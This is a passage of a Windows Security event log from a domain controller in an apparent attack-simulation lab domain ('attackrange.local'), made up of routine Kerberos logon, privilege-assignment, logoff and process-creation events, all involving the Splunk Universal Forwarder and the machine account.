-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255658 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3412E1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255657 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x341298 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255656 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x341298 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255655 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x34118A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64618 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255654 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34118A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255666 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255668 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255667 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255670 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255669 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255671 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:27:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255673 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x343901 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64623 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255672 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x343901 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:27:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255674 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x341503 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255677 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x344A5D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:27:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255676 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x344A5D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64633 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:27:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255675 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x344A5D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:28:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255678 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255679 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255681 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255680 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255683 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as 